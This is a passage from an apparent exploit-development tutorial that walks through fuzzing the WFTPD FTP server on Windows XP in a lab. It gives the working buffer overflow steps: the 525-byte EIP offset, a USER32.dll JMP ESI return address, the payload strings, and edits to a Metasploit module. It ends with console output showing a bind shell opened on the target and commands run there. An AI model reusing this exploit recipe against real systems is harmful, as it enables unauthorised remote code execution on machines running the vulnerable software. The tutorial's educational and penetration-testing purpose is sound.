Attach your debugger to the application on your Windows machine and then test the fuzzer out.
Looks like we have control of EIP and the buffer string was written into ESP and ESI. Now to find the exact offset that EIP is overwritten at, so we can control the application.
Will go ahead and edit out FTP fuzzer and modify our 'fuzzed' string.
We can then create a unique pattern combined with pattern_offset.rb to find the location where EIP is overwritten. Will go ahead and open back up Metasploit, plug in the same options as before, and run it.Code:fuzzed = Rex::Text.pattern_create(1500)
We take the hex location from EIP and convert it to ASCII and run it through patter_offset.rb. We see the location is 525 bytes until EIP. We can then edit our fuzzer to confirm this is correct.
The result is as expected and we now have control of the program.Code:fuzzed = "\x41" * 525 + "\x42" * 4 + "\xCC" * 900
The last thing will want to do before trying our exploit out with a payload, is to get a working jump address into ESI. We want to execute a JMP ESI instruction at our EIP overwrite. We can search for one in our debugger using ctrl + f to find a command. Enter 'JMP ESI' minus the quotes. We see there is no JMP ESI in our application, so we are going to have to look at the running executable modules. Click on the executable "E" button on the top and then double click on the USER32.dll and run the same search again. We find the address 0X77D4E23B is a JMP ESI command. Also while we're here, lets set a break point at that address by pressing f2. That way we can do one last test to make sure we control the flow of execution.
Change our fuzzer with our jump command.
After our fuzzer is ran for the last time we see we hit our break point.Code:fuzzed = "\x41" * 525 + "\x3b\xe2\xd4\x77" + "\xCC" * 900
We can then single step through the program by pressing f9 and we see the jump is made and we land in out "\xCC" bytes.
We could take this further and test different payloads, bad characters, etc, but the objective of this guide was to get a working exploit. We know the exploit that came with Metasploit needed to be fixed. Since now we have control of the program we can modify the original exploit with the new jump code and it should work.
After modifying the exploit, will open back up Metasploit and use the same exploit with the same options as before in the beginning.Code:nano /pentest/exploits/framework3/modules/exploits/windows/ftp/wftpd_size.rb
Code:msf exploit(wftpd_size) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS lincoln no The password for the specified username FTPUSER lincoln no The username to authenticate as RHOST 192.168.2.128 yes The target address RPORT 21 yes The target port Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.2.128 no The target address Exploit target: Id Name -- ---- 2 Windows XP Pro SP2 English msf exploit(wftpd_size) > exploit[*] Started bind handler[*] Connecting to FTP server 192.168.2.128:21...[*] Connected to target FTP server.[*] Authenticating as lincoln with password lincoln...[*] Sending password...[*] Trying target Windows XP Pro SP2 English...[*] Command shell session 1 opened (192.168.2.129:56694 -> 192.168.2.128:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop\wftpd323>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.2.128 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.2.2 C:\Documents and Settings\Administrator\Desktop\wftpd323>









